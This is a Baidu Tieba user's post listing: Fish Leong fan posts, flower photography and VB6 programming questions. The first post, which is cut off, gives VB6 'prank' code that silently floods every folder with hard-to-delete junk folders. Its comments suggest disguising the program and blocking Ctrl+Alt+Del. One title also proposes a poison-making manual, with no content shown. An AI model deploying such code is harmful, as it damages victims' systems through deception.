fanhappy123
fanhappy123
关注数: 4
粉丝数: 50
发帖数: 2,465
关注贴吧数: 14
[无聊]令人抓狂的恶作剧 建立包含..\和系统保留设备名的垃圾文件夹,删除起来非常麻烦,根据需要可以在所有文件夹下自动建立任意个垃圾文件夹'把以下代码放入一个标准模块,在“工程”菜单下选“工程属性”在“通用”选项卡的“启动对象”中设置启动对象为sub main'不需要包含窗体模块'此程序建立的垃圾文件夹删除起来非常麻烦,慎用'此程序不会危害电脑的数据安全'此程序运行时无界面,如果你想更狠点可以设计个界面,来点吸引人的东西,放段音乐,显示几张图片,在后台在所有磁盘的所有文件夹下建立垃圾文件夹'可以屏蔽掉crtl+alt+del键Private Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As LongPrivate Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As LongEnd TypePrivate Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As LongPrivate Const FILE_ATTRIBUTE_ARCHIVE = &H20Private Const FILE_ATTRIBUTE_COMPRESSED = &H800Private Const FILE_ATTRIBUTE_DIRECTORY = &H10Private Const FILE_ATTRIBUTE_HIDDEN = &H2Private Const FILE_ATTRIBUTE_NORMAL = &H80Private Const FILE_ATTRIBUTE_READONLY = &H1Private Const FILE_ATTRIBUTE_SYSTEM = &H4Private Const FILE_ATTRIBUTE_TEMPORARY = &H100Private Const DRIVE_CDROM = 5Private Const DRIVE_FIXED = 3Private Const DRIVE_RAMDISK = 6Private Const DRIVE_REMOTE = 4Private Const DRIVE_REMOVABLE = 2Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As LongSub Main()Dim sCmd As StringDim sDrv As StringsCmd = CommandIf sCmd = "" ThensDrv = Left(App.Path, 3)ElsesDrv = sCmdEnd If'如果有命令行参数则按参数指定的路径建立垃圾文件夹,否则在本程序所在盘的所有文件夹中建立垃圾文件夹LjDir sDrv, 20 '这里可以设置位置和垃圾文件夹的数量'AllDrive '如果想再狠点可以把上一句注释掉,把这条语句前的注释符去掉,可以在所有本地硬盘和可移动磁盘中的每个文件夹下建立20个垃圾文件夹End SubPublic Sub LjDir(ByVal sPath As String, ByVal iCount As Integer)'在 spath 指定的文件夹下的所有子文件夹中建立 iCount 指定数量的垃圾文件夹'采用随机字符串的方式On Error Resume NextDim AllDirs As New CollectionDim next_dir As IntegerDim dir_name As StringDim sub_dir As StringDim i As IntegersPath = IIf(Right(sPath, 1) = "\", Left(sPath, Len(sPath) - 1), sPath) next_dir = 1 AllDirs.Add sPath ' 开始 For k = 1 To iCount CreateSFolder sPath, RndString(8, "\/:*.?#$@%&<>|" & Chr(34)), RndString(8, "\/:*.?#$@%&<>|" & Chr(34)) Next 'List1.AddItem Text1.Text Do While next_dir <= AllDirs.Count ' 获得下一个子目录 dir_name = AllDirs(next_dir) next_dir = next_dir + 1 ' 从 dir_name 读路径 sub_dir = Dir$(dir_name & "\*", vbDirectory) Do While sub_dir <> "" ' 添加路径名称到列表 ' 它是一个路径 If UCase$(sub_dir) <> "PAGEFILE.SYS" And _
今天早晨在西山和赐儿山拍到的野花 五一假期时间太短,天气又不好,过的一般发一组图
【静茹】大家五一过得怎么样?晒下我拍的微距 今年五一放假时间短,居然我还有一天要值班,明天又上班了,发一组今天的拍摄的图,主要是点地梅和鸢尾
发一组点地梅和鸢尾20080503摄于河北张家口 点地梅五桠果亚纲、报春花科,点地梅属
去安家沟有公交吗 rt
用摄像头拍摄到的葱的表皮细胞 发现了一个摄像头的另类玩法,居然微距能看到细胞结构
发现了一个摄像头的另类玩法,居然微距能看到细胞结构 这是用摄像头拍摄到的葱的表皮细胞
【静茹】发布鱼吧winxp登录画面修改工具+五款静茹winxp登录界 发布鱼吧winxp登录画面修改工具+五款静茹winxp登录界面祝大家五一快乐
今天早晨踏青时拍到的花 今天早晨踏青时拍到的花绽放.JPG
【静茹】[晒图]今早出去踏青时拍到的很美的图,与鱼迷分享好心 每次早晨来鱼吧人都比较少,MS大家都好夜晚活动,其实清晨是很美的,这是我踏青时拍到的美景,与鱼迷分享下
【静茹】来测试一下爱听静茹歌的人是左脑人多还是右脑人多 刚看了一张测人善用左脑还是善用右脑的图,很有趣,来看看鱼迷们是善用左脑还是善用右脑.看看图中的女孩是在顺时针转还是逆时针转?一开始是顺时针的话,是右脑 我看了半天还是顺时针,突然看了别处一下再看回来就是逆时针了引用http://tieba.baidu.com/f?kz=292132628
【静茹】大家清明有出游计划吗,这是今天晨练拍的,晒晒 春来的真快,上周此时还下了场大雪,今天晨练时桃花都开了,很漂亮,发出来晒晒,与鱼亲分享好心情桃花,绿色的花萼
【静茹】[发布]梁静茹《崇拜》红色QQ皮肤一款 这是我第一次尝试制作QQ皮肤如果喜欢或有什么意见建议请告诉我下载地址1匿名提取文件连接 http://pickup.mofile.com/4126973812205973 或登录Mofile,使用提取码 4126973812205973 提取文件 下载地址2http://www.mediafire.com/?mwdwymskvej如果无法下载留下Email
好久没新书了,期待糖果的新作啊
[请教]如何通过API实现文件夹虚拟成磁盘(SUBST.EXE的功能) rt
【静茹】爆笑口误,笑到肚子疼 21 当年找工作时,主考官问我哪年毕业的。 我本来是要说2000年的,结果一激动说:“两千年前。。。” 更瀑布汗的是,主考官竟然噢了一声,说:“孔子的学生吧。” 22 刚上课10多分钟,我同桌就举手说:老师我想上厕所。 英语老师很不高兴的说:都多大人了还上厕所? 22 俺有个同学一直在复习考计算机三级,有一天踢足球,另一同学带球到了底线,只听他大喊:回车!回车!(传中) 23 记得有一次去买一种叫伊丽莎白的水果,我张口就说:老板,莎士比亚多少钱?老板当场就呆了 24 物理老师讲波:“这是一根粗弹簧,我从两端推它,看,它是不是变密(便秘)了?” 25 听同学说, 一次她们宿舍的一个女生去买卫生巾, 对老板说:一包卫生巾。 老板居然问:要三鲜的还是麻辣的? 然后那个同学愣了一下,说:三鲜吧,我怕麻辣的我受不了。。。 26 大学师姐,上教育心理学.迟到...走进教室.斜瞄了黑板一眼.老教授生气中,就叫师姐回答黑板的问题.师姐支吾半天说了:"<性感与性理论>,这也太难讲了啦."全班人仰马翻.(注.教授原题:<论理性与感性>) 27 我一很要好的男同学摔坐在地上,我为了表示关心问了一句:"你的屁股摔疼了吧!"结果不小心说成了"你的屁股摔死了吧"汗~~~该兄站起来拍拍屁股,放了个屁,说"没死,还喘气呢!"我直接晕了 28 和领导等众人喝酒,举起酒杯大声道:"让我们同归于尽吧!"当时脑子太热了...... 29 一次,我们报社摄影记者采访某女明星归来,在会上谈他和这明星如何如何熟。老总看着桌上的一大堆照片开了句玩笑:我看你都成他御用摄影师了。可老总的南方普通话不明不白,把“御”念成了“日”的音。从此,这个可怜的摄影记者就被我们称为“日用摄影师”,他加班时,当然就成了“夜用”。 30 老板,有没有手纸充饥卡? 31 我们有同事外地出差,经销商请吃饭。席间要欲小便,经销商说对面就有洗手间,你去的话如果给门口说,我们是对面吃饭的就可以免费。我们同事为了节约两毛钱,箭步直走,理直气壮地对管厕所的说:“我是来吃饭的!” 32 我是物流部的,过了年,客户打电话过来查询节前的货物什么时候到,因为过节这几天浑浑噩噩的,我也搞不清楚订单的内容,就顺口问了一句:您是什么东西? 33 我有个朋友刚看过《射雕英雄传》,对“打狗棍法”非常感兴趣,经常跟别人开玩笑。 一日,他又照例而为。踢了别人一下,大喝一声:“踢狗腿!”大家狂笑,他也觉尴尬,就又踢了一脚,大喊:“狗踢腿!” 34 我高中的时候假期出去打工 在一家饭店想找一份伺应生的工作 因为还是小孩子,而且是第一次打工所以很紧张 本来想问经理需不需要打工的,又想说问需不需要人手会比较含蓄一点 结果说成:“经理,你们这里需不需要打手?” 当时差点找个洞钻进去 35 一次去市场买菜,准备聚餐,一个韩国朋友买了生菜,要2块4,他把身上所有的零钱都给了小贩,还缺一毛钱,所以他对小贩说-- “我的毛,都给你了,所以没有毛了。” 小贩哑然,半天,回答-- “你的毛我不要了。” 36 经理开会一般对抽烟的说:抽烟的都掐死!! 37 想起来那会儿肯德基出留香展翅时,因为没看广告,是听别人说的,一直以为是刘翔给肯德基代言了。到了肯,直接跟服务员说我要刘翔展翅。。。 38 kfc苏丹红事件过后,我去kfc 服务员问,您要点什么? 我想都没想:一对苏丹红 服务员马上一副被噎住的表情 39 前几天下班和几个同事去一家小店吃饭,当时店里人挺多的,一个胖呼呼的服务员正忙的不可开交,一同事喊:“服务员~~”,那姑娘颠儿颠儿跑了过来:“几位结点啥帐?”,当时我们全倒,以后再去这家吃饭,点菜时候喊“服务员结帐”,然后吃完要走的时候喊“点菜!!” 40 中午在洗手间遇到同事,忽然不知道该用什么词打招呼,鬼使神差问了一问:“吃了吗?”问毕,懊恼不已,正难堪,同事回答到:“吃了,你呢?”我晕~~~~~~ 41 我同事要问人民币跟日元的汇率,他开口就说,人猿跟日元怎么兑换的。 42 宿舍哥几个看《越狱》,演到一人从嘴里拿出刀片杀人的镜头,老大突然蹦出一句:“我K,把嘴藏在刀片里还能说话,服了。。。” 43 某日中午,老妈让老哥把饭桌往边上挪一下。我哥半天不动窝,老妈一急就说成了这个样子: "听见没有?!叫你把桌子往旁边挪二公里" =_=!!! 44 工会主席一番慷慨激昂地演说之后,最后一句达到了高潮:同志们,让我们今年的工作做得比明年更好!全场皆倒。 45 我们老师很厉害,有一天他这么说:"把作业拿出来,我们对一下答案,对的打叉,然后在上面写上正确答案………" 46 给久未联系的朋友打个电话,得知他正在办理“停职留薪” 47 江山如此多娇,引无数英雄射大雕。。。。。。 48 去电影院看《加勒比海盗3》,电影开场前有《变形金刚》的预告片,看见狂派首领时候怎么也想不起来“威震天”了,也想不起来他的团队叫“霸天虎”,因为太激动了,结果就惊呼了一小下“真帅,是南霸天!” 要命的是居然那时候突然特安静没有任何电影音效,N多人盯着我爆笑……丢死人了! 49 和一帮朋友吃饭 其中一个人估计是被兄弟出卖了,郁闷的不行闷头喝了不少啤酒,然后脸通红的站起来大吼一声 兄弟!不是出来卖的!!! 估计原来是想说兄弟不是用来出卖的 当时偶们一桌十几个人就全趴了 50 好累啊,连吃屎的劲都用光了……
【静茹】吧规中是否应加入"反挖坟" 太乱了,很多老贴都被顶起来了
[求助]如何用vb向网页中某个文本框写入文字? 比如向贴吧的标题,内容框中写入文字
唯物论与量子理论 量子理论是客观的,而很多地方唯物论又与量子理论是相悖的
[求助]关于vb图象处理,如何做出类似photoshop中外发光效果的文字 如题
54手枪缺口左下的数字对射击究竟有多大影响?
显卡输出亮度低怎么办呢? mx440显卡,输出亮度低,不是驱动问题,在显示设置里调也不行,也不是显示器问题.
【静茹】元宵节夜游时拍摄的焰火,与鱼亲分享下 还没开始放
火树银花不夜城——元宵焰火 还没开始放
[求助]如何画地图上的铁路线? 在photoshop中如何画地图上的铁路线,虚线或国界线之类的,能不能按照路径描出来
vb中如何表示相近的颜色? vb中如何表示相近的颜色?
[求助]关于vb中的颜色问题 表示颜色的long型数据和颜色本身有什么关系,如果要做一个类似于photoshop中的"容差"的功能要怎样处理?
【静茹】我p的静茹桌面日历(第一季度) 1楼喂猪
[求助]在向图片框输出文字时如何实现自动
[求助]如何直接删除非空的文件夹? 不要 shell 命令 rd /s 那种
[求助]有没有通过API实现类似 subst 把文件夹映射成磁盘的方法 有没有通过API实现类似 subst 把文件夹映射成磁盘的方法
【静茹】歌姬感动Singapore 红色燃烧Indoor Stadium
【静茹】歌姬感动Singapore 红色燃烧Indoor Stadium
【静茹】歌姬感动Singapore 红色燃烧Indoor Stadium
【静茹】歌姬感动Singapore 红色燃烧Indoor Stadium
【静茹】歌姬感动Singapore 红色燃烧Indoor Stadium
【静茹】歌姬感动Singapore 红色燃烧Indoor Stadium
【静茹】看到一小说叫<宁夏> 在 亦舒 吧http://post.baidu.com/f?kz=115444452
有高中98级的吗,来报个名 很怀念高中的生活
除了生物神经系统,还有什么可以做灵魂的载体 除了生物神经系统,还有什么可以做灵魂的载体,灵魂或者叫意识是物质吗,可以脱离载体单独存在吗
野花争艳 1
【静茹】静茹《崇拜》千千静听皮肤4款 一楼给百度
【静茹】有mv吗? 都哪首歌有mv呢?
【静茹】终于要发专辑了,漫长的等待啊 记得最早传出7月份就要发新专辑,然后是九月十一月,早就开始期待了,终于这一天要到来了,最后再期待ing...............
[请教]在picturebox内用print显示的字符如何存成 JPEG 格式图片 如题请指点一下,谢谢
[请教]IPictureDisp类型的变量的width,heigh是什么单位 IPictureDisp类型的变量的width,heigh是什么单位,是像素还是缇或其它如下代码怎么改能使窗体和图片大小一致.Dim xx As IPictureDispSet xx = LoadPicture("l:\1846516.jpg")me.picture=xxMe.Width = xx.WidthMe.Height = xx.Height
求一根据图片产生特殊形状窗体的函数 初步计划使用以下形参需要产生特殊形状的窗体,产生特殊形状窗体的图片,图片中要成为透明的颜色function xForm(oForm as form, sPicture as string,lTransparentColor as long)
求一判断文件夹存在的函数,不用FSO 如题,不要用File system object里的那个,function FolderExists(Byval sFolder as string) as booleanend function
[请教]对于窗体或图片框,已知字体大小,如何取得每个字符的长宽各多 对于窗体或图片框,已知字体大小,用于print输出,如何取得每个字符的长宽各多少像素
[请教]如何取得系统字体列表
[请教]如何让公用对话框可以选多个文件 如题,但不是加上 OFN_ALLOWMULTISELECT 那个效果,就是平常用的公用对话框的样子,但可以选多个文件
帮帮我一个关于菜单的问题 菜单和它的下级菜单是什么关系,在代码里如何体现,或者如何使一个菜单变成另一个菜单的子菜单,或者一个带有子菜单的菜单做成控件数组时如何在load新的菜单时能拥有子菜单
求助,如何通过代码生成多级菜单 求助,如何通过代码生成多级菜单
【静茹】短暂的假期结束了,又要与大家告别了 短暂的一个月假期结束了,再过两天又要回火星上班了,就没有机会上网了。在鱼吧的这一个月感觉这里就像一个温暖的家,从这里得到了很多的快乐。唯一遗憾的是没等到假期前就期待的静茹新专辑的发布……好了,鱼亲们再见,我会再回来的!
【静茹】我也来P几张静茹的桌面图片 我P的静茹桌面图片,发出来与亲们分享,喜欢不喜欢一定要告诉我,回贴是美德呦
【静茹】我做的静茹歌词本,word格式,发出来与亲们分享 这个歌词本有封面,目录,静茹介绍,按专辑分的专辑介绍,歌词,歌评,图文并貌,可以打印出来,发出来与亲们分享文档中的内容来源于网络(主要是官网和本吧),如不小心涉及侵权请吧主删掉开放修改权限,亲们可以改掉其中的错误和完善这个歌词本
【静茹】[电脑技巧]静茹专辑封面作存放歌曲文件夹图标 把静茹歌曲按专辑存在某一文件夹中,在每个专辑文件夹中都放入相应专辑封面的图片(不用太大),把图片命名为 folder.jpg,把文件夹的查看模式设为缩略图即可,效果如图。这样还有一个好处,用 windows media player 播放时专辑封面会自动显示出来
各位吧友联合编写一部毒经如何 把无机或有机的毒物的名称,性状,分子式,制法,解法等写出来
【静茹】今天上网遇到的情况 摆渡怎摸会这样
百度第七届优秀吧主评选开始啦!我们吧主那么辛苦,大家支持一下 百度第七届优秀吧主评选开始啦!我们吧主那么辛苦,大家支持一下
首页
1
2
下一页